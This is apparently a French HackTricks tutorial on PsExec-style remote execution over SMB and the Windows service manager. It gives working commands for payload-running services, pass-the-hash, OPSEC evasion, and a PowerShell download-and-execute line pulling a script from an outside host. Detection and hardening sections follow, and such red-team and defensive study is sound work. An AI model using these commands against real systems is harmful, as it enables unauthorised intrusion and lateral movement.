PsExec/Winexec/ScExec/SMBExec

Reading time: 8 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Comment ça fonctionne

Ces techniques abusent du Gestionnaire de ContrÎle de Service Windows (SCM) à distance via SMB/RPC pour exécuter des commandes sur un hÎte cible. Le flux commun est :

  1. S'authentifier auprÚs de la cible et accéder au partage ADMIN$ via SMB (TCP/445).
  2. Copier un exécutable ou spécifier une ligne de commande LOLBAS que le service exécutera.
  3. Créer un service à distance via SCM (MS-SCMR sur \PIPE\svcctl) pointant vers cette commande ou binaire.
  4. Démarrer le service pour exécuter le payload et éventuellement capturer stdin/stdout via un pipe nommé.
  5. ArrĂȘter le service et nettoyer (supprimer le service et tout binaire dĂ©posĂ©).

Exigences/prérequis :

  • Administrateur local sur la cible (SeCreateServicePrivilege) ou droits explicites de crĂ©ation de service sur la cible.
  • SMB (445) accessible et partage ADMIN$ disponible ; Gestion de Service Ă  Distance autorisĂ©e via le pare-feu de l'hĂŽte.
  • Restrictions UAC Ă  distance : avec des comptes locaux, le filtrage des jetons peut bloquer l'administrateur sur le rĂ©seau Ă  moins d'utiliser l'Administrateur intĂ©grĂ© ou LocalAccountTokenFilterPolicy=1.
  • Kerberos vs NTLM : utiliser un nom d'hĂŽte/FQDN active Kerberos ; se connecter par IP revient souvent Ă  NTLM (et peut ĂȘtre bloquĂ© dans des environnements renforcĂ©s).

ScExec/WinExec manuel via sc.exe

Ce qui suit montre une approche minimale de crĂ©ation de service. L'image du service peut ĂȘtre un EXE dĂ©posĂ© ou un LOLBAS comme cmd.exe ou powershell.exe.

cmd
:: Execute a one-liner without dropping a binary
sc.exe \\TARGET create HTSvc binPath= "cmd.exe /c whoami > C:\\Windows\\Temp\\o.txt" start= demand
sc.exe \\TARGET start HTSvc
sc.exe \\TARGET delete HTSvc

:: Drop a payload to ADMIN$ and execute it (example path)
copy payload.exe \\TARGET\ADMIN$\Temp\payload.exe
sc.exe \\TARGET create HTSvc binPath= "C:\\Windows\\Temp\\payload.exe" start= demand
sc.exe \\TARGET start HTSvc
sc.exe \\TARGET delete HTSvc

Notes :

  • Attendez-vous Ă  une erreur de dĂ©lai d'attente lors du dĂ©marrage d'un EXE non-service ; l'exĂ©cution se produit nĂ©anmoins.
  • Pour rester plus amical avec l'OPSEC, prĂ©fĂ©rez les commandes sans fichier (cmd /c, powershell -enc) ou supprimez les artefacts dĂ©posĂ©s.

Trouvez des étapes plus détaillées dans : https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/

Outils et exemples

Sysinternals PsExec.exe

  • Outil d'administration classique qui utilise SMB pour dĂ©poser PSEXESVC.exe dans ADMIN$, installe un service temporaire (nom par dĂ©faut PSEXESVC) et proxy I/O via des pipes nommĂ©s.
  • Exemples d'utilisation :
cmd
:: Interactive SYSTEM shell on remote host
PsExec64.exe -accepteula \\HOST -s -i cmd.exe

:: Run a command as a specific domain user
PsExec64.exe -accepteula \\HOST -u DOMAIN\user -p 'Passw0rd!' cmd.exe /c whoami /all

:: Customize the service name for OPSEC (-r)
PsExec64.exe -accepteula \\HOST -r WinSvc$ -s cmd.exe /c ipconfig
  • Vous pouvez lancer directement depuis Sysinternals Live via WebDAV :
cmd
\\live.sysinternals.com\tools\PsExec64.exe -accepteula \\HOST -s cmd.exe /c whoami

OPSEC

  • Laisse des Ă©vĂ©nements d'installation/dĂ©sinstallation de service (le nom du service est souvent PSEXESVC sauf si -r est utilisĂ©) et crĂ©e C:\Windows\PSEXESVC.exe pendant l'exĂ©cution.

Impacket psexec.py (similaire Ă  PsExec)

  • Utilise un service intĂ©grĂ© similaire Ă  RemCom. DĂ©pose un binaire de service transitoire (nom souvent randomisĂ©) via ADMIN$, crĂ©e un service (souvent RemComSvc par dĂ©faut) et proxy I/O via un pipe nommĂ©.
bash
# Password auth
psexec.py DOMAIN/user:Password@HOST cmd.exe

# Pass-the-Hash
psexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST cmd.exe

# Kerberos (use tickets in KRB5CCNAME)
psexec.py -k -no-pass -dc-ip 10.0.0.10 DOMAIN/user@host.domain.local cmd.exe

# Change service name and output encoding
psexec.py -service-name HTSvc -codec utf-8 DOMAIN/user:Password@HOST powershell -nop -w hidden -c "iwr http://10.10.10.1/a.ps1|iex"

Artifacts

  • EXE temporaire dans C:\Windows\ (8 caractĂšres alĂ©atoires). Le nom du service par dĂ©faut est RemComSvc, sauf s'il est remplacĂ©.

Impacket smbexec.py (SMBExec)

  • CrĂ©e un service temporaire qui lance cmd.exe et utilise un pipe nommĂ© pour l'entrĂ©e/sortie. Évite gĂ©nĂ©ralement de dĂ©poser un payload EXE complet ; l'exĂ©cution des commandes est semi-interactive.
bash
smbexec.py DOMAIN/user:Password@HOST
smbexec.py -hashes LMHASH:NTHASH DOMAIN/user@HOST

SharpLateral et SharpMove

  • SharpLateral (C#) implĂ©mente plusieurs mĂ©thodes de mouvement latĂ©ral, y compris l'exĂ©cution basĂ©e sur des services.
cmd
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
  • SharpMove inclut la modification/crĂ©ation de services pour exĂ©cuter une commande Ă  distance.
cmd
SharpMove.exe action=modsvc computername=remote.host.local command="C:\windows\temp\payload.exe" amsi=true servicename=TestService
SharpMove.exe action=startservice computername=remote.host.local servicename=TestService
  • Vous pouvez Ă©galement utiliser CrackMapExec pour exĂ©cuter via diffĂ©rents backends (psexec/smbexec/wmiexec) :
bash
cme smb HOST -u USER -p PASS -x "whoami" --exec-method psexec
cme smb HOST -u USER -H NTHASH -x "ipconfig /all" --exec-method smbexec

OPSEC, détection et artefacts

Artefacts typiques d'hÎte/réseau lors de l'utilisation de techniques similaires à PsExec :

  • SĂ©curitĂ© 4624 (Type de connexion 3) et 4672 (PrivilĂšges spĂ©ciaux) sur la cible pour le compte administrateur utilisĂ©.
  • ÉvĂ©nements de partage de fichiers de sĂ©curitĂ© 5140/5145 et Ă©vĂ©nements dĂ©taillĂ©s de partage de fichiers montrant l'accĂšs ADMIN$ et la crĂ©ation/Ă©criture de binaires de service (par exemple, PSEXESVC.exe ou un .exe alĂ©atoire de 8 caractĂšres).
  • Installation de service de sĂ©curitĂ© 7045 sur la cible : noms de service comme PSEXESVC, RemComSvc, ou personnalisĂ© (-r / -service-name).
  • Sysmon 1 (CrĂ©ation de processus) pour services.exe ou l'image de service, 3 (Connexion rĂ©seau), 11 (CrĂ©ation de fichier) dans C:\Windows, 17/18 (Tube créé/connectĂ©) pour des tubes tels que \.\pipe\psexesvc, \.\pipe\remcom_*, ou Ă©quivalents randomisĂ©s.
  • Artefact de registre pour EULA de Sysinternals : HKCU\Software\Sysinternals\PsExec\EulaAccepted=0x1 sur l'hĂŽte opĂ©rateur (si non supprimĂ©).

Idées de chasse

  • Alerte sur les installations de service oĂč l'ImagePath inclut cmd.exe /c, powershell.exe, ou des emplacements TEMP.
  • Rechercher des crĂ©ations de processus oĂč ParentImage est C:\Windows\PSEXESVC.exe ou des enfants de services.exe s'exĂ©cutant en tant que SYSTEM LOCAL exĂ©cutant des shells.
  • Marquer les tubes nommĂ©s se terminant par -stdin/-stdout/-stderr ou des noms de tubes bien connus de clone PsExec.

Dépannage des échecs courants

  • AccĂšs refusĂ© (5) lors de la crĂ©ation de services : pas vraiment administrateur local, restrictions UAC Ă  distance pour les comptes locaux, ou protection contre la falsification EDR sur le chemin binaire du service.
  • Le chemin rĂ©seau n'a pas Ă©tĂ© trouvĂ© (53) ou impossible de se connecter Ă  ADMIN$ : pare-feu bloquant SMB/RPC ou partages administratifs dĂ©sactivĂ©s.
  • Kerberos Ă©choue mais NTLM est bloquĂ© : se connecter en utilisant le nom d'hĂŽte/FQDN (pas IP), s'assurer des SPNs appropriĂ©s, ou fournir -k/-no-pass avec des tickets lors de l'utilisation d'Impacket.
  • Le dĂ©marrage du service expire mais le payload s'est exĂ©cutĂ© : attendu si ce n'est pas un vĂ©ritable binaire de service ; capturer la sortie dans un fichier ou utiliser smbexec pour I/O en direct.

Notes de durcissement

  • Windows 11 24H2 et Windows Server 2025 nĂ©cessitent la signature SMB par dĂ©faut pour les connexions sortantes (et Windows 11 entrantes). Cela ne casse pas l'utilisation lĂ©gitime de PsExec avec des identifiants valides mais empĂȘche l'abus de relais SMB non signĂ© et peut impacter les appareils qui ne supportent pas la signature.
  • Le nouveau blocage NTLM du client SMB (Windows 11 24H2/Server 2025) peut empĂȘcher le retour Ă  NTLM lors de la connexion par IP ou Ă  des serveurs non-Kerberos. Dans des environnements durcis, cela cassera PsExec/SMBExec basĂ© sur NTLM ; utiliser Kerberos (nom d'hĂŽte/FQDN) ou configurer des exceptions si nĂ©cessaire lĂ©gitimement.
  • Principe du moindre privilĂšge : minimiser l'appartenance Ă  l'administrateur local, prĂ©fĂ©rer Just-in-Time/Just-Enough Admin, appliquer LAPS, et surveiller/alerter sur les installations de service 7045.

Voir aussi

  • ExĂ©cution Ă  distance basĂ©e sur WMI (souvent plus sans fichier) :

WmiExec

  • ExĂ©cution Ă  distance basĂ©e sur WinRM :

WinRM

Références

  • PsExec - Sysinternals | Microsoft Learn: https://learn.microsoft.com/sysinternals/downloads/psexec
  • Durcissement de la sĂ©curitĂ© SMB dans Windows Server 2025 & Windows 11 (signature par dĂ©faut, blocage NTLM) : https://techcommunity.microsoft.com/blog/filecab/smb-security-hardening-in-windows-server-2025--windows-11/4226591

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks